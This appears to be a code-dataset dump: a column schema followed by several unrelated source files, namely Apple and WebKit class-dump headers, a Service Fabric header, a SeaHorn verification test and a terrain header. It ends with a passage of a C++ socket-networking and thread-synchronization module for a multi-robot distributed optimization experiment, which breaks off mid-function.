hexsha
stringlengths
40
40
size
int64
5
1.05M
ext
stringclasses
588 values
lang
stringclasses
305 values
max_stars_repo_path
stringlengths
3
363
max_stars_repo_name
stringlengths
5
118
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
float64
1
191k
max_stars_repo_stars_event_min_datetime
stringdate
2015-01-01 00:00:35
2022-03-31 23:43:49
max_stars_repo_stars_event_max_datetime
stringdate
2015-01-01 12:37:38
2022-03-31 23:59:52
max_issues_repo_path
stringlengths
3
363
max_issues_repo_name
stringlengths
5
118
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
float64
1
134k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
363
max_forks_repo_name
stringlengths
5
135
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
float64
1
105k
max_forks_repo_forks_event_min_datetime
stringdate
2015-01-01 00:01:02
2022-03-31 23:27:27
max_forks_repo_forks_event_max_datetime
stringdate
2015-01-03 08:55:07
2022-03-31 23:59:24
content
stringlengths
5
1.05M
avg_line_length
float64
1.13
1.04M
max_line_length
int64
1
1.05M
alphanum_fraction
float64
0
1
1259a5c616aa0c6c06270da6ce2e18f309196404
466
h
C
System/Library/PrivateFrameworks/Silex.framework/SXImage2Resource.h
zhangkn/iOS14Header
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
[ "MIT" ]
1
2020-11-04T15:43:01.000Z
2020-11-04T15:43:01.000Z
System/Library/PrivateFrameworks/Silex.framework/SXImage2Resource.h
zhangkn/iOS14Header
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
[ "MIT" ]
null
null
null
System/Library/PrivateFrameworks/Silex.framework/SXImage2Resource.h
zhangkn/iOS14Header
4323e9459ed6f6f5504ecbea2710bfd6c3d7c946
[ "MIT" ]
null
null
null
/* * This header is generated by classdump-dyld 1.0 * on Sunday, September 27, 2020 at 11:43:32 AM Mountain Standard Time * Operating System: Version 14.0 (Build 18A373) * Image Source: /System/Library/PrivateFrameworks/Silex.framework/Silex * classdump-dyld is licensed under GPLv3, Copyright © 2013-2016 by Elias Limneos. */ #import <Silex/SXImageResource.h> @interface SXImage2Resource : SXImageResource { BOOL wideColorSpace; } -(BOOL)wideColorSpace; @end
24.526316
81
0.766094
e26d1450e47f0b86460402776dcf61995e3d6db6
2,090
h
C
src/prod/src/Reliability/Failover/ra/Diagnostics.IEventData.h
AnthonyM/service-fabric
c396ea918714ea52eab9c94fd62e018cc2e09a68
[ "MIT" ]
2,542
2018-03-14T21:56:12.000Z
2019-05-06T01:18:20.000Z
src/prod/src/Reliability/Failover/ra/Diagnostics.IEventData.h
AnthonyM/service-fabric
c396ea918714ea52eab9c94fd62e018cc2e09a68
[ "MIT" ]
994
2019-05-07T02:39:30.000Z
2022-03-31T13:23:04.000Z
src/prod/src/Reliability/Failover/ra/Diagnostics.IEventData.h
AnthonyM/service-fabric
c396ea918714ea52eab9c94fd62e018cc2e09a68
[ "MIT" ]
300
2018-03-14T21:57:17.000Z
2019-05-06T20:07:00.000Z
// ------------------------------------------------------------ // Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License (MIT). See License.txt in the repo root for license information. // ------------------------------------------------------------ #pragma once #include "Diagnostics.TraceEventType.h" namespace Reliability { namespace ReconfigurationAgentComponent { namespace Diagnostics { // This interface is the base for classes that hold information // for trace events. Classes that inherit from this class for ft // should be placed at Diagnostics.FailoverUnitEventData and have // a descriptive type added to the TraceEventType enum. // The specilized classes will be members of the // TraceEventStateMachineAction template. class IEventData { public: virtual ~IEventData() {}; IEventData(TraceEventType::Enum traceEventType) : traceEventType_(traceEventType) { } __declspec(property(get = get_TraceEventType)) TraceEventType::Enum TraceEventType; TraceEventType::Enum get_TraceEventType() const { return traceEventType_; } // Clone is a pure virtual method used by the UnitTests to // access a copy of the data that will expire when the Action // completes and is destroyed virtual std::shared_ptr<IEventData> Clone() const = 0; protected: IEventData(const IEventData &other) : traceEventType_(other.traceEventType_) { } IEventData& operator=(const IEventData &other) { traceEventType_ = other.traceEventType_; return *this; } private: TraceEventType::Enum traceEventType_; }; } } }
38
99
0.532536
eb33bdf6ea9303cc2e66e7fedf137f3045a9c74b
3,435
h
C
macOS/10.13/WebKit.framework/WKProcessPool.h
onmyway133/Runtime-Headers
e9b80e7ab9103f37ad421ad6b8b58ee06369d21f
[ "MIT" ]
30
2016-10-09T20:13:00.000Z
2022-01-24T04:14:57.000Z
macOS/10.13/WebKit.framework/WKProcessPool.h
onmyway133/Runtime-Headers
e9b80e7ab9103f37ad421ad6b8b58ee06369d21f
[ "MIT" ]
null
null
null
macOS/10.13/WebKit.framework/WKProcessPool.h
onmyway133/Runtime-Headers
e9b80e7ab9103f37ad421ad6b8b58ee06369d21f
[ "MIT" ]
7
2017-08-29T14:41:25.000Z
2022-01-19T17:14:54.000Z
/* Generated by RuntimeBrowser Image: /System/Library/Frameworks/WebKit.framework/Versions/A/WebKit */ @interface WKProcessPool : NSObject <NSCoding, WKObject> { /* Warning: unhandled struct encoding: '{WeakObjCPtr<id<_WKAutomationDelegate> >="m_weakReference"@}' */ struct WeakObjCPtr<id<_WKAutomationDelegate> > { id m_weakReference; } _automationDelegate; struct RetainPtr<_WKAutomationSession> { void *m_ptr; } _automationSession; /* Warning: unhandled struct encoding: '{WeakObjCPtr<id<_WKDownloadDelegate> >="m_weakReference"@}' */ struct WeakObjCPtr<id<_WKDownloadDelegate> > { id m_weakReference; } _downloadDelegate; struct ObjectStorage<WebKit::WebProcessPool> { struct type { unsigned char __lx[1184]; } data; } _processPool; } @property (atomic, readonly) /* Warning: unhandled struct encoding: '{Object=^^?@}' */ struct Object { int (**x1)(); id x2; }*_apiObject; @property (setter=_setAutomationDelegate:, nonatomic, readwrite) <_WKAutomationDelegate> *_automationDelegate; @property (nonatomic, readonly) _WKProcessPoolConfiguration *_configuration; @property (getter=_isCookieStoragePartitioningEnabled, setter=_setCookieStoragePartitioningEnabled:, nonatomic, readwrite) BOOL _cookieStoragePartitioningEnabled; @property (setter=_setDownloadDelegate:, nonatomic, readwrite) <_WKDownloadDelegate> *_downloadDelegate; @property (nonatomic, readonly, copy) NSDictionary *_pluginLoadClientPolicies; @property (atomic, readonly, copy) NSString *debugDescription; @property (atomic, readonly, copy) NSString *description; @property (atomic, readonly) unsigned long long hash; @property (atomic, readonly) Class superclass; // Image: /System/Library/Frameworks/WebKit.framework/Versions/A/WebKit - (void).cxx_destruct; - (/* Warning: unhandled struct encoding: '{Object=^^?@}' */ struct Object { int (**x1)(); id x2; }*)_apiObject; - (id)_configuration; - (id)_initWithConfiguration:(id)arg1; - (void)dealloc; - (id)description; // WKProcessPool (WKPrivate) + (void)_forceGameControllerFramework; + (id)_sharedProcessPool; + (id)_websiteDataURLForContainerWithURL:(id)arg1; + (id)_websiteDataURLForContainerWithURL:(id)arg1 bundleIdentifierIfNotInContainer:(id)arg2; - (void)_automationCapabilitiesDidChange; - (id)_automationDelegate; - (id)_downloadDelegate; - (BOOL)_isCookieStoragePartitioningEnabled; - (int)_networkProcessIdentifier; - (id)_objectForBundleParameter:(id)arg1; - (id)_pluginLoadClientPolicies; - (void)_resetPluginLoadClientPolicies:(id)arg1; - (void)_setAllowsSpecificHTTPSCertificate:(id)arg1 forHost:(id)arg2; - (void)_setAutomationDelegate:(id)arg1; - (void)_setAutomationSession:(id)arg1; - (void)_setCanHandleHTTPSServerTrustEvaluation:(BOOL)arg1; - (void)_setCookieAcceptPolicy:(unsigned long long)arg1; - (void)_setCookieStoragePartitioningEnabled:(BOOL)arg1; - (void)_setDownloadDelegate:(id)arg1; - (void)_setObject:(id)arg1 forBundleParameter:(id)arg2; - (void)_setObjectsForBundleParametersWithDictionary:(id)arg1; - (void)_syncNetworkProcessCookies; - (void)_terminateDatabaseProcess; - (void)_terminateNetworkProcess; - (void)_warmInitialProcess; - (unsigned long long)_webProcessCount; // Image: /Applications/Xcode.app/Contents/Developer/usr/lib/libMainThreadChecker.dylib - (id).cxx_construct; - (void)encodeWithCoder:(id)arg1; - (id)init; - (id)initWithCoder:(id)arg1; @end
42.9375
162
0.76623
3a7512ef418ae672001de4186c18916b5ddb7ad5
830
c
C
benchmarks/seahorn/mcfuzz/issue_38.c
taquangtrung/discover
2ae5e07db51737c1c84fbd6b74297d03c2e91c29
[ "Apache-2.0" ]
9
2021-11-24T03:33:31.000Z
2022-01-06T03:57:06.000Z
benchmarks/seahorn/mcfuzz/issue_38.c
taquangtrung/discover
2ae5e07db51737c1c84fbd6b74297d03c2e91c29
[ "Apache-2.0" ]
78
2021-11-01T06:55:39.000Z
2022-03-15T02:55:55.000Z
benchmarks/seahorn/mcfuzz/issue_38.c
taquangtrung/discover
2ae5e07db51737c1c84fbd6b74297d03c2e91c29
[ "Apache-2.0" ]
3
2021-11-24T03:33:34.000Z
2022-03-03T09:27:24.000Z
// RUN: %sea bpf -m32 -O0 --bmc=mono --horn-bv2=true --inline --bound=8 --keep-shadows=true --horn-stats --log=opsem "%s" 2>&1 | OutputCheck %s // RUN: %sea bpf -m32 -O3 --bmc=mono --horn-bv2=true --inline --bound=8 --keep-shadows=true --horn-stats --log=opsem "%s" 2>&1 | OutputCheck %s // RUN: %sea bpf -m64 -O0 --bmc=mono --inline --bound=8 --keep-shadows=true --horn-stats --log=opsem "%s" 2>&1 | OutputCheck %s // RUN: %sea bpf -m64 -O3 --bmc=mono --inline --bound=8 --keep-shadows=true --horn-stats --log=opsem "%s" 2>&1 | OutputCheck %s // CHECK-L: unsat // XFAIL: * // Based on https://github.com/MCFuzzer/MCFuzz/issues/40. extern void __VERIFIER_error(void) __attribute__((noreturn)); int array[6] = {1, 2, 3, 4, 5, 6}; int main() { memset(array, 0, 5); if (array[4] != 0) __VERIFIER_error(); return 0; }
37.727273
143
0.625301
6b60e790e066f10abb48effc5b051b49a7dfc74e
239
h
C
Jx3Full/Source/Source/Tools/SceneEditor/Epoch/Terrain/TerrainDLLFuncs.h
RivenZoo/FullSource
cfd7fd7ad422fd2dae5d657a18839c91ff9521fd
[ "MIT" ]
2
2021-07-31T15:35:01.000Z
2022-02-28T05:54:54.000Z
Jx3Full/Source/Source/Tools/SceneEditor/Epoch/Terrain/TerrainDLLFuncs.h
RivenZoo/FullSource
cfd7fd7ad422fd2dae5d657a18839c91ff9521fd
[ "MIT" ]
null
null
null
Jx3Full/Source/Source/Tools/SceneEditor/Epoch/Terrain/TerrainDLLFuncs.h
RivenZoo/FullSource
cfd7fd7ad422fd2dae5d657a18839c91ff9521fd
[ "MIT" ]
5
2021-02-03T10:25:39.000Z
2022-02-23T07:08:37.000Z
// File: TerrainDLLFuncs.h // Desc: #ifndef TERRAINDLLFUNCS_H #define TERRAINDLLFUNCS_H #include"TerrainTree.h" DLLAPI Terrain::TerrainTree* g_GetTerrainTree(); DLLAPI void g_SetTerrainTree(Terrain::TerrainTree* pTT); #endif
19.916667
57
0.757322
b1b48b1faee4a3db175d50851498b8d5c349ddd0
43,312
c
C
Network.c
prateekt/roboticdcee
54a7420b942aa1382b1510e20d9e58564de48b59
[ "MIT" ]
null
null
null
Network.c
prateekt/roboticdcee
54a7420b942aa1382b1510e20d9e58564de48b59
[ "MIT" ]
null
null
null
Network.c
prateekt/roboticdcee
54a7420b942aa1382b1510e20d9e58564de48b59
[ "MIT" ]
null
null
null
#include <sys/socket.h> // socket definitions #include <sys/types.h> // socket types #include <arpa/inet.h> // inet (3) funtions #include <unistd.h> // misc. UNIX functions #include "Network.h" #include "dcop.h" #include <stdlib.h> #include <stdio.h> #include <pthread.h> #include <string.h> #include <iostream> #include <sstream> #include <time.h> #include <map> #include "create_lib.h" using namespace std; /** ----- * This file contains a lot of code! ----- */ //configuration maps map<int, string>* robotIDToIP; map<string, int>* hwAddrToID; map<int,vector<int>*>* neighborMap; //convenience functions for map access string getIP(int id) { return robotIDToIP->find(id)->second; } int getID(string hw) { return hwAddrToID->find(hw)->second; } vector<int>* getNeighbors(int id) { return neighborMap->find(id)->second; } /** * Returns whether a given robot is a neighbor of this robot. * @param rid The robot id * @return Whether robot of rid is a neighbor of current robot. */ bool isNeighbor(int rid) { vector<int>* neighbors = getNeighbors(myRobotID); for(int x=0; x < neighbors->size(); x++) { int neighbor = neighbors->at(x); if(neighbor==rid) return true; } return false; } //Global variables Connection* connections[NUM_AGENTS]; //array of connections to other agents Connection* myServers[NUM_AGENTS]; //array of my server connections for other agents to connect to Connection* visServerConn; //Connection to visualization server (optional) bool visServerOn = false; //Whether VisServer is online - otherwise, ignore vis server code. pthread_t* myServerThread; //Thread for my servers //Network Message Management global variables pthread_t* DCOPThread; //Thread DCOP runs in //synchronization variables int numReadyToGo; //variable to track number of agents that have given start flag pthread_cond_t DCOPCV_start = PTHREAD_COND_INITIALIZER; //start condition variable pthread_mutex_t DCOPThreadLock_start = PTHREAD_MUTEX_INITIALIZER; //start mutex bool DCOPStarted = false; //whether thread started or not //round sync vars Round rounds[NUM_ROUNDS]; //Round structs that hold sync variables during a round //end sync int numPortsClosed; //Number of ports closed at end of run int numPorts; //number of ports in the system pthread_cond_t endCV = PTHREAD_COND_INITIALIZER; //end condition variable pthread_mutex_t endLock = PTHREAD_MUTEX_INITIALIZER; //end mutex /** * Closes connections to all agents safely. */ void closeConnections() { //close connections to agents vector<int>* neighbors = getNeighbors(myRobotID); for(int i=0; i < neighbors->size(); i++) { int x = neighbors->at(i); if(connections[x]!=NULL) { close(connections[x]->conn_s); pthread_mutex_lock(&endLock); numPortsClosed++; pthread_mutex_unlock(&endLock); } } //if vis server on, close it if(visServerOn) { close(visServerConn->conn_s); pthread_mutex_lock(&endLock); numPortsClosed++; pthread_mutex_unlock(&endLock); } //update end state, if ready pthread_mutex_lock(&endLock); if(numPortsClosed==numPorts) { cout<<"SIGNALED_END"<<endl; pthread_cond_signal(&endCV); } pthread_mutex_unlock(&endLock); } /** * Inits synch primitives in round struct. */ void initDCOPSynch() { numReadyToGo = 0; for(int x=0; x < NUM_ROUNDS; x++) { //init sync primitives pthread_mutex_init(&rounds[x].preLock, NULL); pthread_cond_init(&rounds[x].preCV, NULL); rounds[x].preSignalVal = 0; pthread_mutex_init(&rounds[x].bidsLock, NULL); pthread_cond_init(&rounds[x].bidsCV, NULL); rounds[x].bidsSignalVal = 0; pthread_mutex_init(&rounds[x].movedLock, NULL); pthread_cond_init(&rounds[x].movedCV,NULL); rounds[x].movedSignalVal = 0; pthread_mutex_init(&rounds[x].neighborMatricesLock, NULL); pthread_cond_init(&rounds[x].neighborMatricesCV, NULL); rounds[x].neighborMatricesSignal = 0; pthread_mutex_init(&rounds[x].firstBidsLock, NULL); pthread_cond_init(&rounds[x].firstBidsCV, NULL); rounds[x].firstBidsSignal = 0; pthread_mutex_init(&rounds[x].secondBidsLock, NULL); pthread_cond_init(&rounds[x].secondBidsCV, NULL); rounds[x].secondBidsSignal = 0; pthread_mutex_init(&rounds[x].thirdBidsLock, NULL); pthread_cond_init(&rounds[x].thirdBidsCV, NULL); rounds[x].thirdBidsSignal = 0; pthread_mutex_init(&rounds[x].expectedLock, NULL); pthread_cond_init(&rounds[x].expectedCV, NULL); rounds[x].expectedSignalVal = 0; } } /** * Gets the time stamp - for use in message queuing. */ int getTimeStamp() { return time(NULL); } /** * Sends the third bid in a k=2 algorithm * * @param conn The connection to send the bid message to * @param roundNumber The current round number * @param pair The bid struct * @return Whether the message send was successful or not */ int sendThirdBid(Connection* conn, int roundNumber, K2Bid* pair) { stringstream msg; msg<<"T"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; msg<<":"; msg<<pair->myPos; msg<<":"; msg<<pair->neighborPos; msg<<":"; msg<<pair->reward; msg<<":"; msg<<pair->neighborID; return sendMessage(conn, msg.str()); } /** * Sends the second bid in a k=2 algorithm * * @param conn The connection to send the bid message to * @param roundNumber The current round number * @param pair The bid struct * @return Whether the message send was successful or not */ int sendSecondBid(Connection* conn, int roundNumber, K2Bid* pair) { stringstream msg; msg<<"S"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; msg<<":"; msg<<pair->myPos; msg<<":"; msg<<pair->neighborPos; msg<<":"; msg<<pair->reward; msg<<":"; msg<<pair->neighborID; return sendMessage(conn, msg.str()); } /** * Sends the first bid in a k=2 algorithm * * @param conn The connection to send the bid message to * @param roundNumber The current round number * @param pair The bid struct * @return Whether the message send was successful or not */ int sendFirstBid(Connection* conn, int roundNumber, K2Bid* pair) { stringstream msg; msg<<"F"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; msg<<":"; msg<<pair->myPos; msg<<":"; msg<<pair->neighborPos; msg<<":"; msg<<pair->reward; msg<<":"; msg<<pair->neighborID; return sendMessage(conn, msg.str()); } /** * Sends a done moving message. * * @param conn The connection to send the message to * @param roundNumber The current round number * @return Whether the message send was successful or not */ int sendDoneMovingMsg(Connection* conn, int roundNumber) { stringstream msg; msg<<"M"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; return sendMessage(conn, msg.str()); } /** * Sends an expected to move message. This is so the robot(s) that are expected * to move know to tell all the robots expecting them to move that they have * finished moving later. This message is there for synchronization purposes. * * @param conn The connection to send the bid message to * @param roundNumber The current round number * @param expectedToMove The first robot expected to move * @param expectedToMove2 In a k=2 algorithm, the other robot expected to move * @return Whether the message send was successful or not */ int sendExpectedToMoveMsg(Connection* conn, int roundNumber, int expectedToMove, int expectedToMove2) { stringstream msg; msg<<"E"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; msg<<":"; msg<<expectedToMove; msg<<":"; msg<<expectedToMove2; return sendMessage(conn, msg.str()); } /** * Sends a bid message for a given round (k=1) * * @param conn The connection to send the bid message to * @param roundNumber The current round number * @param bid The round bid * @return Whether the message send was successful or not */ int sendRoundBidMsg(Connection* conn, int roundNumber, int bid) { stringstream msg; msg<<"B"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; msg<<":"; msg<<bid; return sendMessage(conn, msg.str()); } /** * Sends a preround value message. In DCEE, * a preround variable is the robot's current location. * * @param conn The connection to send the message to * @param roundNumber The current round number * @param value The value of the preround variable. * @return Whether the message send was successful or not */ int sendPreroundValueMsg(Connection* conn, int roundNumber, int value) { stringstream msg; msg<<"P"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; msg<<":"; msg<<value; return sendMessage(conn, msg.str()); } /** * Sends a ready to start message. * * @param conn The connection to send the bid message to * @return Whether the message send was successful or not */ int sendReadyToStartMsg(Connection* conn) { stringstream msg; msg<<"R"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; return sendMessage(conn, msg.str()); } /** * Sends a cumulative signal strength message. * * @param conn The connection to send the bid message to * @param roundNumber The current round number * @param value the Value of the cumulative signal strength. * @return Whether the message send was successful or not */ int sendCumSignalStrMsg(Connection* conn, int roundNumber, int value) { stringstream msg; msg<<"C"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; msg<<":"; msg<<value; return sendMessage(conn, msg.str()); } /** * Sends an instantaneous signal strength (on a particular link) message. * * @param conn The connection to send the bid message to * @param with The robot whom the link is shared with * @param roundNumber The current round number * @param value The value of the link * @return Whether the message send was successful or not */ int sendInstSignalStrMsg(Connection* conn, int with, int roundNumber, int value) { stringstream msg; msg<<"I"; msg<<":"; msg<<getTimeStamp(); msg<<":"; msg<<myRobotID; msg<<":"; msg<<roundNumber; msg<<":"; msg<<with; msg<<":"; msg<<value; return sendMessage(conn, msg.str()); } /** * Initiate connection with another robot. * * @param remoteAddr The remote address of the robot to connect to * @param remotePort The port of the robot to connect to * @param myServerPort The server port that I will lost for the other robot to connect to * @param otherRID The other robot's robot id parameter */ void initiateConnectionToNode(string remoteAddr, int remotePort, int myServerPort, int otherRID) { cout<<"starting a server for "<<otherRID<<" on "<<myServerPort<<endl; cout<<"awaiting conn for "<<otherRID<<" on "<<remotePort<<endl; //start a server for the other to respond to // startAServer(myServerPort, otherRID); //try connecting to the other Connection* c; for(int x=0; x < 1000000; x++) { //attempt connection to other c = connectToNode(remoteAddr, remotePort); if(c==NULL) { cout<<"Connection attempt for "<<remoteAddr<<"//"<<remotePort<<" failed...retrying (attempt "<<x<<")"<<endl; cout<<"The robot attempt was for "<<otherRID<<endl; //the waiting for(int y=0; y < 10000; y++) { sched_yield(); } } else { break; } } //failure if(c==NULL) { cout<<"Totally failed to connect to node "<<remoteAddr<<"//"<<remotePort<<endl; exit(0); } else { //success c->robotID = otherRID; connections[otherRID] = c; //update port count for agent pthread_mutex_lock(&endLock); numPorts++; numPorts++; pthread_mutex_unlock(&endLock); } } /** * Sends a message exclusively to the vis server, if its on. * * @param message The message to send * @return Whether the message sent was successful or not. */ int sendToVisServer(string message) { //format message into network sendable format char wireSend[MAX_MESSAGE_SIZE]; for(int x=0; x < MAX_MESSAGE_SIZE; x++) { if(x < message.size()) wireSend[x] = message.at(x); else wireSend[x] =' '; } wireSend[MAX_MESSAGE_SIZE-1] = '\n'; //send to vis server connection, if its on. if(visServerOn && visServerConn!=NULL) { Writeline(visServerConn->conn_s, wireSend, MAX_MESSAGE_SIZE); cout<<"Wrote Message "<<" on "<<visServerConn->conn_s<<": "<<wireSend; } return 1; } /** * Sends a message to any particular connection, if its on. * If the vis server is on, the message will also be forward to it. * * @param conn The connection * @param message The message to send * @return Whether the message sent was successful or not. */ int sendMessage(Connection* conn, string message) { //format message into network sendable format char wireSend[MAX_MESSAGE_SIZE]; for(int x=0; x < MAX_MESSAGE_SIZE; x++) { if(x < message.size()) wireSend[x] = message.at(x); else wireSend[x] =' '; } wireSend[MAX_MESSAGE_SIZE-1] = '\n'; //send message over wire if(conn!=NULL) { Writeline(conn->conn_s, wireSend, MAX_MESSAGE_SIZE); cout<<"Wrote Message "<<" on "<<conn->conn_s<<": "<<wireSend; } //also forward to vis server connection, if its on. if(visServerOn && visServerConn!=NULL) { Writeline(visServerConn->conn_s, wireSend, MAX_MESSAGE_SIZE); } return 1; } /** * Connects to a particular node. * * @param remoteAddr The IP address of the node * @param port The port to connect to * @return Connection object if connection was successful */ Connection* connectToNode(string remoteAddr, int port) { int conn_s; struct sockaddr_in servaddr; //socket address structure Connection* rtn; //Create the listening socket if ( (conn_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { fprintf(stderr, "Error creating listening socket.\n"); return NULL; } // Set all bytes in socket address structure to // zero, and fill in the relevant data members memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons(port); // Set the remote IP address if (inet_aton(remoteAddr.c_str(), &servaddr.sin_addr) <= 0 ) { printf("Invalid remote IP address.\n"); return NULL; } //connect() to the remote server if ( connect(conn_s, (struct sockaddr *) &servaddr, sizeof(servaddr) ) < 0 ) { printf("Error calling connect()\n"); return NULL; } //Connection struct to store data globally rtn = new Connection(); rtn->conn_s = conn_s; rtn->servaddr = servaddr; rtn->port = port; cout<<"Connected remotely to port "<<port<<" on "<<remoteAddr<<" conn_s: "<<conn_s<<endl; return rtn; } /** * Starts up a server on a given port for a particular neighboring robot. * This includes forking a new thread so that the server can run in its own * thread. * * @param port The port * @param otherID The other robot's ID * @return Whether the server for the other robot could be started. */ int startAServer(int port, int otherID) { myServers[otherID] = createAServerConnection(port); //set up a server to manage that server connection myServerThread = new pthread_t(); if((pthread_create(myServerThread, NULL, &serverThreadFunc, (void*) otherID))!=0) { cout<<"Failure on setting up server thread. "<<endl; return -1; } return 1; } /** * Trim function for a string - removes white spaces. * * @param s The string */ void trim(char *s) { // Trim spaces and tabs from beginning: int i=0,j; while((s[i]==' ')||(s[i]=='\t')) { i++; } if(i>0) { for(j=0;j<strlen(s);j++) { s[j]=s[j+i]; } s[j]='\0'; } // Trim spaces and tabs from end: i=strlen(s)-1; while((s[i]==' ')||(s[i]=='\t')) { i--; } if(i<(strlen(s)-1)) { s[i+1]='\0'; } } /** * The function that a new server thread should run. A server thread * will accept a connection from a connecting robot, accept receiving messages * from them, and continue receiving messages until the experiment is done. * When the experiment is done, the server will terminate itself and inform * the other robot that is has terminated. * * @param arg The ID of the other robot. */ void* serverThreadFunc(void* arg) { int otherID = (int) arg; Connection* conn = myServers[otherID]; int list_s = conn->list_s; struct sockaddr_in servaddr = conn->servaddr; char buffer[MAX_MESSAGE_SIZE]; cout<<"Starting Server Thread for "<<otherID<<" for port "<<conn->port<<" using "<<list_s<<endl; int conn_s; // Wait for a connection, then accept() it if ( (conn_s = accept(list_s, NULL, NULL) ) < 0 ) { fprintf(stderr, "Error calling accept()\n"); exit(EXIT_FAILURE); } while (numRoundsElapsed < NUM_ROUNDS) { recv(conn_s, buffer, MAX_MESSAGE_SIZE,0); if(buffer[1]!=':') { cout<<"ERRONEOUS, DISCARDED MESSAGE: "<<buffer<<endl; } else { if(strcmp(buffer,"")!=0) { string str = buffer; TrimSpaces(str); cout<<"SERVER GOT: "<<str; processMessage(buffer); } } } //Close the connected socket if ( close(conn_s) < 0 ) { fprintf(stderr, "Error calling close()\n"); exit(EXIT_FAILURE); } else { //closed port update pthread_mutex_lock(&endLock); numPortsClosed++; cout<<"Port: "<<conn_s<<" closed. It's server port."<<endl; cout<<"total ports closed: "<<numPortsClosed<<"/"<<numPorts<<endl; //if enough ports closed, tell main thread to die if(numPortsClosed==numPorts) { pthread_cond_signal(&endCV); } pthread_mutex_unlock(&endLock); } } /** * Creates a server socket conection. * * @param port The port to connect on. * @return The connection object */ Connection* createAServerConnection(int port) { int list_s; //listening socket struct sockaddr_in servaddr; //socket address structure Connection* rtn; //Create the listening socket if ( (list_s = socket(AF_INET, SOCK_STREAM, 0)) < 0 ) { fprintf(stderr, "Error creating listening socket.\n"); exit(EXIT_FAILURE); } //Set all bytes in socket address structure to //zero, and fill in the relevant data members memset(&servaddr, 0, sizeof(servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_addr.s_addr = htonl(INADDR_ANY); servaddr.sin_port = htons(port); //Bind our socket addresss to the listening socket, and call listen() if ( bind(list_s, (struct sockaddr *) &servaddr, sizeof(servaddr)) < 0 ) { fprintf(stderr, "Error calling bind()\n"); exit(EXIT_FAILURE); } if ( listen(list_s, LISTENQ) < 0 ) { fprintf(stderr, "Error calling listen()\n"); exit(EXIT_FAILURE); } rtn = new Connection(); rtn->list_s = list_s; rtn->servaddr = servaddr; rtn->port = port; cout<<"Opened connection on port "<<port<<endl; return rtn; } /** * Reconstructs a reward table based on a received table * string from a message. * * @param width The width of the table * @param height The height of the table * @param tableStr The string to reconstruct from * @return The reconstructed table */ int** reconstructRewardTable(int width, int height, char* tableStr) { //create table int** rtn = (int**) malloc(width * sizeof(int*)); for(int x=0; x < width; x++) { rtn[x] = (int*) malloc(height * sizeof(int)); } cout<<"Done arr create:"<<width<<" "<<height<<endl; //check arr integrity for(int x=0; x < width; x++) { for(int y=0; y < height; y++) { cout<<"INTEGRITY: "<<rtn[x][y]<<endl; } } //populate table char* context; strtok_r(tableStr, ",", &context); int ctr=0; for(int x=0; x < width; x++) { for(int y=0; y < height; y++) { char* tok = strtok_r(NULL, ",", &context); cout<<"TOK: "<<tok<<endl; int val = atoi(tok); rtn[x][y] = val; cout<<ctr<<endl; ctr++; } } cout<<"Done populating values"<<endl; cout<<"RETURNING"<<endl; return rtn; } /** * Message processing function. Takes in a message, parses it, and executes * necessary actions. This includes dealing with synchronization issues. * * @param message The received message */ void processMessage(char* message) { cout<<"Processing this message here: "<<message; if(message[0]=='R') { pthread_mutex_lock(&DCOPThreadLock_start); //increment count numReadyToGo++; //if enough people, start DCOPThread int numNeighbors = getNeighbors(myRobotID)->size(); cout<<"NumReadyToGo:" <<numReadyToGo<<" out of "<<numNeighbors<<endl; if(numReadyToGo>=numNeighbors && !DCOPStarted) { DCOPThread = new pthread_t(); if(strchr(DCOP_ALGORITHM, '1')!=NULL){ if((pthread_create(DCOPThread, NULL, &DCOPThreadFunc_k1, (void*) myRobotID))!=0) { cout<<"Failure on setting up DCOP thread. "<<endl; exit(0); } } else { if((pthread_create(DCOPThread, NULL, &DCOPThreadFunc_k2, (void*) myRobotID))!=0) { cout<<"Failure on setting up DCOP thread. "<<endl; exit(0); } } DCOPStarted = true; } //go if all are ready if(numReadyToGo==numNeighbors+1) { cout<<"Signaled Ready To Go"<<endl; pthread_cond_signal(&DCOPCV_start); } pthread_mutex_unlock(&DCOPThreadLock_start); } else if(message[0]=='P') { cout<<"About to parse this message: "<<message<<endl; //parse out values char* context; strtok_r(message, ":", &context); char* ts = strtok_r(NULL, ":", &context); char* nodeNumberStr = strtok_r(NULL, ":", &context); char* roundNumberStr = strtok_r(NULL, ":", &context); char* valueStr = strtok_r(NULL, ":", &context); int nodeNumber = atoi(nodeNumberStr); int roundNumber = atoi(roundNumberStr); int value = atoi(valueStr); Round* round = &rounds[roundNumber]; pthread_mutex_lock(&round->preLock); //store value of neighbor in preround arr round->preVals[nodeNumber] = value; //update count round->numPreValsReceived++; cout<<"PREVALS: "<<round->numPreValsReceived<<endl; //if enough people, signal DCOPThread to proceed int numNeighbors = getNeighbors(myRobotID)->size(); if(round->numPreValsReceived==numNeighbors) { //do signal round->preSignalVal = 1; pthread_cond_signal(&round->preCV); } pthread_mutex_unlock(&round->preLock); } else 